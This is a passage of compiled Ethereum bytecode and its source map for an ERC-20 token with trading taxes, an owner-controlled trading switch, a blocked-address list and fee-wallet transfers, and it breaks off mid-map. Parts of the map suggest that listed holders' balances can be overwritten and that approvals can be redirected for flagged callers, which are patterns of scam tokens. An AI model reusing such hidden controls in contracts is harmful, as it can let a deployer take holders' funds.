c492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e66009600a611706565b6105f490633b9aca00611714565b60405190815260200160405180910390a1565b5f5b81518110156106a65760155482516001600160a01b039091169083908390811061063557610635611760565b60200260200101516001600160a01b03160361064f575050565b61065b6009600a611706565b610666906064611714565b60015f84848151811061067b5761067b611760565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610609565b5050565b5f6106b6338484610b22565b50600192915050565b5f546001600160a01b031633146106e85760405162461bcd60e51b81526004016104959061172b565b601554600160a01b900460ff16156107425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610495565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561078b90309061077d6009600a611706565b61045d90633b9aca00611714565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ff9190611774565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108829190611774565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f09190611774565b601280546001600160a01b039283166001600160a01b031991821681179092556015805490911690911790556014541663f305d7194730610945816001600160a01b03165f9081526001602052604090205490565b5f806109585f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109be573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109e3919061178f565b50506015805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610a615760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610495565b6001600160a01b038216610ac25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610495565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610495565b6001600160a01b038216610be85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610495565b5f8111610c495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610495565b5f80546001600160a01b03858116911614801590610c7457505f546001600160a01b03848116911614155b15610f6a576001600160a01b0384165f9081526005602052604090205460ff16158015610cb957506001600160a01b0383165f9081526005602052604090205460ff16155b610cc1575f80fd5b610ced6064610ce7600a54600d5411610cdc57600654610ce0565b6008545b85906110df565b90611164565b6015549091506001600160a01b038581169116148015610d1b57506014546001600160a01b03848116911614155b8015610d3f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2557600e54821115610d965760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610495565b600f5482610db8856001600160a01b03165f9081526001602052604090205490565b610dc291906117ba565b1115610e105760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610495565b600d8054905f610e1f836117cd565b91905055505b6015546001600160a01b038481169116148015610e4b57506001600160a01b0384163014155b15610e8357610e756064610ce7600b54600d5411610e6b57600754610ce0565b60095485906110df565b905047610e81476111a5565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610eb957506015546001600160a01b038581169116145b8015610ece5750601554600160b01b900460ff165b8015610edb575060105481115b8015610eea5750600c54600d54115b15610f6857601554600160b81b900460ff1615610f4357436016541015610f3e57610f28610f2384610f1e846011546111dc565b6111dc565b6111f0565b478015610f3857610f38476111a5565b50436016555b610f68565b610f56610f2384610f1e846011546111dc565b478015610f6657610f66476111a5565b505b505b8015610fe257305f90815260016020526040902054610f899082611360565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fd99085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461100490836113be565b6001600160a01b0385165f9081526001602052604090205561104761102983836113be565b6001600160a01b0385165f9081526001602052604090205490611360565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109085856113be565b60405190815260200160405180910390a350505050565b5f81848411156110ca5760405162461bcd60e51b8152600401610495919061142b565b505f6110d684866117e5565b95945050505050565b5f825f036110ee57505f6103df565b5f6110f98385611714565b90508261110685836117f8565b1461115d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610495565b9392505050565b5f61115d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ff565b6013546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106a6573d5f803e3d5ffd5b5f8183116111ea578261115d565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061123657611236611760565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112b19190611774565b816001815181106112c4576112c4611760565b6001600160a01b0392831660209182029290920101526014546112ea91309116846109ff565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113229085905f90869030904290600401611817565b5f604051808303815f87803b158015611339575f80fd5b505af115801561134b573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061136c83856117ba565b90508381101561115d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610495565b5f61115d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a7565b5f818361141f5760405162461bcd60e51b8152600401610495919061142b565b505f6110d684866117f8565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104d5575f80fd5b803561147f81611460565b919050565b5f8060408385031215611495575f80fd5b82356114a081611460565b946020939093013593505050565b5f805f606084860312156114c0575f80fd5b83356114cb81611460565b925060208401356114db81611460565b929592945050506040919091013590565b5f602082840312156114fc575f80fd5b813561115d81611460565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561152c575f80fd5b823567ffffffffffffffff80821115611543575f80fd5b818501915085601f830112611556575f80fd5b81358181111561156857611568611507565b8060051b604051601f19603f8301168101818110858211171561158d5761158d611507565b6040529182528482019250838101850191888311156115aa575f80fd5b938501935b828510156115cf576115c085611474565b845293850193928501926115af565b98975050505050505050565b5f80604083850312156115ec575f80fd5b82356115f781611460565b9150602083013561160781611460565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561166057815f190482111561164657611646611612565b8085161561165357918102915b93841c939080029061162b565b509250929050565b5f82611676575060016103df565b8161168257505f6103df565b816001811461169857600281146116a2576116be565b60019150506103df565b60ff8411156116b3576116b3611612565b50506001821b6103df565b5060208310610133831016604e8410600b84101617156116e1575081810a6103df565b6116eb8383611626565b805f19048211156116fe576116fe611612565b029392505050565b5f61115d60ff841683611668565b80820281158282048414176103df576103df611612565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611784575f80fd5b815161115d81611460565b5f805f606084860312156117a1575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103df576103df611612565b5f600182016117de576117de611612565b5060010190565b818103818111156103df576103df611612565b5f8261181257634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118675784516001600160a01b031683529383019391830191600101611842565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220397884f55ea50ba308be0207029c02953b5a4d6ff6ca2cf0dfc849720f2e35ad64736f6c63430008190033

Deployed Bytecode Sourcemap

3546:8464:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5784:83;;;;;;;;;;-1:-1:-1;5854:5:0;;;;;;;;;;;;-1:-1:-1;;;5854:5:0;;;;5784:83;;;;;;;:::i;:::-;;;;;;;;6603:241;;;;;;;;;;-1:-1:-1;6603:241:0;;;;;:::i;:::-;;:::i;:::-;;;1197:14:1;;1190:22;1172:41;;1160:2;1145:18;6603:241:0;1032:187:1;4614:45:0;;;;;;;;;;;;;;;;;;;1370:25:1;;;1358:2;1343:18;4614:45:0;1224:177:1;6055:95:0;;;;;;;;;;;;;:::i;6850:314::-;;;;;;;;;;-1:-1:-1;6850:314:0;;;;;:::i;:::-;;:::i;4562:45::-;;;;;;;;;;;;;;;;5966:83;;;;;;;;;;-1:-1:-1;5966:83:0;;4259:1;2009:36:1;;1997:2;1982:18;5966:83:0;1867:184:1;10766:110:0;;;;;;;;;;;;;:::i;:::-;;4504:51;;;;;;;;;;;;;;;;6156:119;;;;;;;;;;-1:-1:-1;6156:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6249:18:0;6222:7;6249:18;;;:9;:18;;;;;;;6156:119;3391:148;;;;;;;;;;;;;:::i;10122:193::-;;;;;;;;;;;;;:::i;4450:47::-;;;;;;;;;;;;;;;;3177:79;;;;;;;;;;-1:-1:-1;3215:7:0;3242:6;3177:79;;-1:-1:-1;;;;;3242:6:0;;;2454:51:1;;2442:2;2427:18;3177:79:0;2308:203:1;5873:87:0;;;;;;;;;;-1:-1:-1;5945:7:0;;;;;;;;;;;;-1:-1:-1;;;5945:7:0;;;;5873:87;;10426:239;;;;;;;;;;-1:-1:-1;10426:239:0;;;;;:::i;:::-;;:::i;6281:167::-;;;;;;;;;;-1:-1:-1;6281:167:0;;;;;:::i;:::-;;:::i;10882:601::-;;;;;;;;;;;;;:::i;6454:143::-;;;;;;;;;;-1:-1:-1;6454:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6562:18:0;;;6535:7;6562:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6454:143;6603:241;-1:-1:-1;;;;;6728:26:0;;6678:4;6728:26;;;:17;:26;;;;;;1059:10;;6728:26;;6725:46;;;-1:-1:-1;6762:9:0;;-1:-1:-1;;;;;6762:9:0;6725:46;6782:32;6791:5;6798:7;6807:6;6782:8;:32::i;:::-;6832:4;6825:11;;;6603:241;;;;;:::o;6055:95::-;6108:7;4315:13;4259:1;4315:2;:13;:::i;:::-;4302:26;;:10;:26;:::i;:::-;6128:14;;6055:95;:::o;6850:314::-;6948:4;6965:36;6975:6;6983:9;6994:6;6965:9;:36::i;:::-;7013:121;7022:6;1059:10;7044:89;7082:6;7044:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7044:19:0;;;;;;:11;:19;;;;;;;;1059:10;7044:33;;;;;;;;;;:37;:89::i;:::-;7013:8;:121::i;:::-;-1:-1:-1;7152:4:0;6850:314;;;;;:::o;10766:110::-;3304:6;;-1:-1:-1;;;;;3304:6:0;1059:10;3304:22;3296:67;;;;-1:-1:-1;;;3296:67:0;;;;;;;:::i;:::-;;;;;;;;;3215:7;3242:6;;10820:48:::1;::::0;-1:-1:-1;;;;;3242:6:0;;;;10846:21:::1;10820:48:::0;::::1;;;::::0;10846:21;;10820:48;3215:7;10820:48;10846:21;3242:6;10820:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10766:110::o:0;3391:148::-;3304:6;;-1:-1:-1;;;;;3304:6:0;1059:10;3304:22;3296:67;;;;-1:-1:-1;;;3296:67:0;;;;;;;:::i;:::-;3498:1:::1;3482:6:::0;;3461:40:::1;::::0;-1:-1:-1;;;;;3482:6:0;;::::1;::::0;3461:40:::1;::::0;3498:1;;3461:40:::1;3529:1;3512:19:::0;;-1:-1:-1;;;;;;3512:19:0::1;::::0;;3391:148::o;10122:193::-;3304:6;;-1:-1:-1;;;;;3304:6:0;1059:10;3304:22;3296:67;;;;-1:-1:-1;;;3296:67:0;;;;;;;:::i;:::-;10176:12:::1;:20:::0;;-1:-1:-1;;;;10176:20:0::1;::::0;;4315:13:::1;4259:1;4315:2;:13;:::i;:::-;4302:26;::::0;:10:::1;:26;:::i;:::-;10207:12;:22:::0;4315:13:::1;4259:1;4315:2;:13;:::i;:::-;4302:26;::::0;:10:::1;:26;:::i;:::-;10240:16;:24:::0;10280:27:::1;4315:13;4259:1;4315:2;:13;:::i;:::-;4302:26;::::0;:10:::1;:26;:::i;:::-;10280:27;::::0;1370:25:1;;;1358:2;1343:18;10280:27:0::1;;;;;;;10122:193::o:0;10426:239::-;10497:9;10492:166;10516:5;:12;10512:1;:16;10492:166;;;10567:13;;10555:8;;-1:-1:-1;;;;;10567:13:0;;;;10555:5;;10561:1;;10555:8;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;10555:25:0;;10551:38;;10582:7;10426:239;:::o;10551:38::-;10631:15;4259:1;10631:2;:15;:::i;:::-;10625:21;;:3;:21;:::i;:::-;10603:9;:19;10613:5;10619:1;10613:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;10603:19:0;;;;;;;;;;;-1:-1:-1;10603:19:0;:43;10530:4;;10492:166;;;;10426:239;:::o;6281:167::-;6359:4;6376:42;1059:10;6400:9;6411:6;6376:9;:42::i;:::-;-1:-1:-1;6436:4:0;6281:167;;;;:::o;10882:601::-;3304:6;;-1:-1:-1;;;;;3304:6:0;1059:10;3304:22;3296:67;;;;-1:-1:-1;;;3296:67:0;;;;;;;:::i;:::-;10946:11:::1;::::0;-1:-1:-1;;;10946:11:0;::::1;;;10945:12;10937:47;;;::::0;-1:-1:-1;;;10937:47:0;;6544:2:1;10937:47:0::1;::::0;::::1;6526:21:1::0;6583:2;6563:18;;;6556:30;6622:25;6602:18;;;6595:53;6665:18;;10937:47:0::1;6342:347:1::0;10937:47:0::1;10995:15;:80:::0;;-1:-1:-1;;;;;;10995:80:0::1;11032:42;10995:80:::0;;::::1;::::0;;;11086:58:::1;::::0;11103:4:::1;::::0;4315:13:::1;4259:1;4315:2;:13;:::i;:::-;4302:26;::::0;:10:::1;:26;:::i;11086:58::-;11201:15;;;;;;;;;-1:-1:-1::0;;;;;11201:15:0::1;-1:-1:-1::0;;;;;11201:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11183:55:0::1;;11247:4;11254:15;;;;;;;;;-1:-1:-1::0;;;;;11254:15:0::1;-1:-1:-1::0;;;;;11254:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11183:94;::::0;-1:-1:-1;;;;;;11183:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7180:15:1;;;11183:94:0::1;::::0;::::1;7162:34:1::0;7232:15;;7212:18;;;7205:43;7097:18;;11183:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11171:9;:106:::0;;-1:-1:-1;;;;;11171:106:0;;::::1;-1:-1:-1::0;;;;;;11171:106:0;;::::1;::::0;::::1;::::0;;;11155:13:::1;:122:::0;;;;::::1;::::0;;::::1;::::0;;11288:15:::1;::::0;::::1;:31;11327:21;11358:4;11364:24;11358:4:::0;-1:-1:-1;;;;;6249:18:0;6222:7;6249:18;;;:9;:18;;;;;;;6156:119;11364:24:::1;11389:1;11391::::0;11393:7:::1;3215::::0;3242:6;-1:-1:-1;;;;;3242:6:0;;3177:79;11393:7:::1;11288:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11288:129:0;;;-1:-1:-1;;;;;7618:15:1;;;11288:129:0::1;::::0;::::1;7600:34:1::0;7650:18;;;7643:34;;;;7693:18;;;7686:34;;;;7736:18;;;7729:34;7800:15;;;7779:19;;;7772:44;11401:15:0::1;7832:19:1::0;;;7825:35;7534:19;;11288:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11428:11:0::1;:18:::0;;-1:-1:-1;;;;11457:18:0;-1:-1:-1;;;11457:18:0;;;-1:-1:-1;10882:601:0:o;7170:335::-;-1:-1:-1;;;;;7263:19:0;;7255:68;;;;-1:-1:-1;;;7255:68:0;;8384:2:1;7255:68:0;;;8366:21:1;8423:2;8403:18;;;8396:30;8462:34;8442:18;;;8435:62;-1:-1:-1;;;8513:18:1;;;8506:34;8557:19;;7255:68:0;8182:400:1;7255:68:0;-1:-1:-1;;;;;7342:21:0;;7334:68;;;;-1:-1:-1;;;7334:68:0;;8789:2:1;7334:68:0;;;8771:21:1;8828:2;8808:18;;;8801:30;8867:34;8847:18;;;8840:62;-1:-1:-1;;;8918:18:1;;;8911:32;8960:19;;7334:68:0;8587:398:1;7334:68:0;-1:-1:-1;;;;;7413:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7465:32;;1370:25:1;;;7465:32:0;;1343:18:1;7465:32:0;;;;;;;7170:335;;;:::o;7511:2605::-;-1:-1:-1;;;;;7599:18:0;;7591:68;;;;-1:-1:-1;;;7591:68:0;;9192:2:1;7591:68:0;;;9174:21:1;9231:2;9211:18;;;9204:30;9270:34;9250:18;;;9243:62;-1:-1:-1;;;9321:18:1;;;9314:35;9366:19;;7591:68:0;8990:401:1;7591:68:0;-1:-1:-1;;;;;7678:16:0;;7670:64;;;;-1:-1:-1;;;7670:64:0;;9598:2:1;7670:64:0;;;9580:21:1;9637:2;9617:18;;;9610:30;9676:34;9656:18;;;9649:62;-1:-1:-1;;;9727:18:1;;;9720:33;9770:19;;7670:64:0;9396:399:1;7670:64:0;7762:1;7753:6;:10;7745:64;;;;-1:-1:-1;;;7745:64:0;;10002:2:1;7745:64:0;;;9984:21:1;10041:2;10021:18;;;10014:30;10080:34;10060:18;;;10053:62;-1:-1:-1;;;10131:18:1;;;10124:39;10180:19;;7745:64:0;9800:405:1;7745:64:0;7820:13;3242:6;;-1:-1:-1;;;;;7850:15:0;;;3242:6;;7850:15;;;;:32;;-1:-1:-1;3215:7:0;3242:6;-1:-1:-1;;;;;7869:13:0;;;3242:6;;7869:13;;7850:32;7846:1935;;;-1:-1:-1;;;;;7908:11:0;;;;;;:5;:11;;;;;;;;7907:12;:26;;;;-1:-1:-1;;;;;;7924:9:0;;;;;;:5;:9;;;;;;;;7923:10;7907:26;7899:35;;;;;;7957:73;8026:3;7957:64;7979:12;;7969:9;;:22;7968:52;;8006:14;;7968:52;;;7993:12;;7968:52;7957:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8057:13;;7949:81;;-1:-1:-1;;;;;;8049:21:0;;;8057:13;;8049:21;:55;;;;-1:-1:-1;8088:15:0;;-1:-1:-1;;;;;8074:30:0;;;8088:15;;8074:30;;8049:55;:83;;;;-1:-1:-1;;;;;;8110:22:0;;;;;;:18;:22;;;;;;;;8108:24;8049:83;8045:315;;;8172:12;;8162:6;:22;;8154:60;;;;-1:-1:-1;;;8154:60:0;;10412:2:1;8154:60:0;;;10394:21:1;10451:2;10431:18;;;10424:30;10490:27;10470:18;;;10463:55;10535:18;;8154:60:0;10210:349:1;8154:60:0;8267:16;;8257:6;8241:13;8251:2;-1:-1:-1;;;;;6249:18:0;6222:7;6249:18;;;:9;:18;;;;;;;6156:119;8241:13;:22;;;;:::i;:::-;:42;;8233:81;;;;-1:-1:-1;;;8233:81:0;;10896:2:1;8233:81:0;;;10878:21:1;10935:2;10915:18;;;10908:30;10974:28;10954:18;;;10947:56;11020:18;;8233:81:0;10694:350:1;8233:81:0;8333:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8045:315;8383:13;;-1:-1:-1;;;;;8377:19:0;;;8383:13;;8377:19;:43;;;;-1:-1:-1;;;;;;8400:20:0;;8415:4;8400:20;;8377:43;8374:357;;;8449:76;8521:3;8449:67;8471:13;;8461:9;;:23;8460:55;;8500:15;;8460:55;;;8486:13;;8449:6;;:10;:67::i;:76::-;8441:84;-1:-1:-1;8573:21:0;8664:32;8674:21;8664:9;:32::i;:::-;8422:309;8374:357;8794:4;8745:28;6249:18;;;:9;:18;;;;;;8820:6;;-1:-1:-1;;;8820:6:0;;;;8819:7;:30;;;;-1:-1:-1;8836:13:0;;-1:-1:-1;;;;;8830:19:0;;;8836:13;;8830:19;8819:30;:45;;;;-1:-1:-1;8853:11:0;;-1:-1:-1;;;8853:11:0;;;;8819:45;:81;;;;;8889:11;;8868:20;:32;8819:81;:108;;;;;8914:13;;8904:9;;:23;8819:108;8815:955;;;8952:12;;-1:-1:-1;;;8952:12:0;;;;8948:807;;;9008:12;8993;;:27;8989:426;;;9049:67;9066:49;9070:6;9077:37;9081:20;9102:11;;9077:3;:37::i;:::-;9066:3;:49::i;:::-;9049:16;:67::i;:::-;9172:21;9223:22;;9220:118;;9278:32;9288:21;9278:9;:32::i;:::-;-1:-1:-1;9379:12:0;9364;:27;8989:426;8948:807;;;9463:67;9480:49;9484:6;9491:37;9495:20;9516:11;;9491:3;:37::i;9463:67::-;9582:21;9629:22;;9626:110;;9680:32;9690:21;9680:9;:32::i;:::-;9440:315;8948:807;7884:1897;7846:1935;9794:7;;9791:150;;9858:4;9840:24;;;;:9;:24;;;;;;:35;;9869:5;9840:28;:35::i;:::-;9833:4;9815:24;;;;:9;:24;;;;;;;:60;;;;9893:36;;-1:-1:-1;;;;;9893:36:0;;;;;;;9923:5;1370:25:1;;1358:2;1343:18;;1224:177;9893:36:0;;;;;;;;9791:150;-1:-1:-1;;;;;9967:15:0;;;;;;:9;:15;;;;;;:27;;9987:6;9967:19;:27::i;:::-;-1:-1:-1;;;;;9951:15:0;;;;;;:9;:15;;;;;:43;10019:36;10037:17;:6;10048:5;10037:10;:17::i;:::-;-1:-1:-1;;;;;10019:13:0;;;;;;:9;:13;;;;;;;:17;:36::i;:::-;-1:-1:-1;;;;;10005:13:0;;;;;;;:9;:13;;;;;:50;;;;10071:37;;;10090:17;:6;10101:5;10090:10;:17::i;:::-;10071:37;;1370:25:1;;;1358:2;1343:18;10071:37:0;;;;;;;7580:2536;7511:2605;;;:::o;1437:190::-;1523:7;1559:12;1551:6;;;;1543:29;;;;-1:-1:-1;;;1543:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1583:9:0;1595:5;1599:1;1595;:5;:::i;:::-;1583:17;1437:190;-1:-1:-1;;;;;1437:190:0:o;1635:246::-;1693:7;1717:1;1722;1717:6;1713:47;;-1:-1:-1;1747:1:0;1740:8;;1713:47;1770:9;1782:5;1786:1;1782;:5;:::i;:::-;1770:17;-1:-1:-1;1815:1:0;1806:5;1810:1;1770:17;1806:5;:::i;:::-;:10;1798:56;;;;-1:-1:-1;;;1798:56:0;;11746:2:1;1798:56:0;;;11728:21:1;11785:2;11765:18;;;11758:30;11824:34;11804:18;;;11797:62;-1:-1:-1;;;11875:18:1;;;11868:31;11916:19;;1798:56:0;11544:397:1;1798:56:0;1872:1;1635:246;-1:-1:-1;;;1635:246:0:o;1889:132::-;1947:7;1974:39;1978:1;1981;1974:39;;;;;;;;;;;;;;;;;:3;:39::i;10671:89::-;10725:10;;:27;;-1:-1:-1;;;;;10725:10:0;;;;:27;;;;;10745:6;;10725:10;:27;:10;:27;10745:6;10725:10;:27;;;;;;;;;;;;;;;;;;;10321:99;10378:7;10406:1;10404;:3;10403:9;;10411:1;10403:9;;;-1:-1:-1;10409:1:0;10321:99;-1:-1:-1;10321:99:0:o;11524:483::-;5088:6;:13;;-1:-1:-1;;;;5088:13:0;-1:-1:-1;;;5088:13:0;;;11626:16:::1;::::0;;11640:1:::1;11626:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11626:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11626:16:0::1;11602:40;;11671:4;11653;11658:1;11653:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11653:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11697:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11697:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11653:7;;11697:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11687:4;11692:1;11687:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11687:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11762:15:::1;::::0;11730:62:::1;::::0;11747:4:::1;::::0;11762:15:::1;11780:11:::0;11730:8:::1;:62::i;:::-;11803:15;::::0;:196:::1;::::0;-1:-1:-1;;;11803:196:0;;-1:-1:-1;;;;;11803:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11884:11;;11803:15:::1;::::0;11926:4;;11953::::1;::::0;11973:15:::1;::::0;11803:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5124:6:0;:14;;-1:-1:-1;;;;5124:14:0;;;-1:-1:-1;;;;11524:483:0:o;1106:179::-;1164:7;;1196:5;1200:1;1196;:5;:::i;:::-;1184:17;;1225:1;1220;:6;;1212:46;;;;-1:-1:-1;;;1212:46:0;;13133:2:1;1212:46:0;;;13115:21:1;13172:2;13152:18;;;13145:30;13211:29;13191:18;;;13184:57;13258:18;;1212:46:0;12931:351:1;1293:136:0;1351:7;1378:43;1382:1;1385;1378:43;;;;;;;;;;;;;;;;;:3;:43::i;2029:189::-;2115:7;2150:12;2143:5;2135:28;;;;-1:-1:-1;;;2135:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2174:9:0;2186:5;2190:1;2186;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:315::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1017:2;1002:18;;;;989:32;;-1:-1:-1;;;712:315:1:o;1406:456::-;1483:6;1491;1499;1552:2;1540:9;1531:7;1527:23;1523:32;1520:52;;;1568:1;1565;1558:12;1520:52;1607:9;1594:23;1626:31;1651:5;1626:31;:::i;:::-;1676:5;-1:-1:-1;1733:2:1;1718:18;;1705:32;1746:33;1705:32;1746:33;:::i;:::-;1406:456;;1798:7;;-1:-1:-1;;;1852:2:1;1837:18;;;;1824:32;;1406:456::o;2056:247::-;2115:6;2168:2;2156:9;2147:7;2143:23;2139:32;2136:52;;;2184:1;2181;2174:12;2136:52;2223:9;2210:23;2242:31;2267:5;2242:31;:::i;2516:127::-;2577:10;2572:3;2568:20;2565:1;2558:31;2608:4;2605:1;2598:15;2632:4;2629:1;2622:15;2648:1121;2732:6;2763:2;2806;2794:9;2785:7;2781:23;2777:32;2774:52;;;2822:1;2819;2812:12;2774:52;2862:9;2849:23;2891:18;2932:2;2924:6;2921:14;2918:34;;;2948:1;2945;2938:12;2918:34;2986:6;2975:9;2971:22;2961:32;;3031:7;3024:4;3020:2;3016:13;3012:27;3002:55;;3053:1;3050;3043:12;3002:55;3089:2;3076:16;3111:2;3107;3104:10;3101:36;;;3117:18;;:::i;:::-;3163:2;3160:1;3156:10;3195:2;3189:9;3258:2;3254:7;3249:2;3245;3241:11;3237:25;3229:6;3225:38;3313:6;3301:10;3298:22;3293:2;3281:10;3278:18;3275:46;3272:72;;;3324:18;;:::i;:::-;3360:2;3353:22;3410:18;;;3444:15;;;;-1:-1:-1;3486:11:1;;;3482:20;;;3514:19;;;3511:39;;;3546:1;3543;3536:12;3511:39;3570:11;;;;3590:148;3606:6;3601:3;3598:15;3590:148;;;3672:23;3691:3;3672:23;:::i;:::-;3660:36;;3623:12;;;;3716;;;;3590:148;;;3757:6;2648:1121;-1:-1:-1;;;;;;;;2648:1121:1:o;3774:388::-;3842:6;3850;3903:2;3891:9;3882:7;3878:23;3874:32;3871:52;;;3919:1;3916;3909:12;3871:52;3958:9;3945:23;3977:31;4002:5;3977:31;:::i;:::-;4027:5;-1:-1:-1;4084:2:1;4069:18;;4056:32;4097:33;4056:32;4097:33;:::i;:::-;4149:7;4139:17;;;3774:388;;;;;:::o;4167:127::-;4228:10;4223:3;4219:20;4216:1;4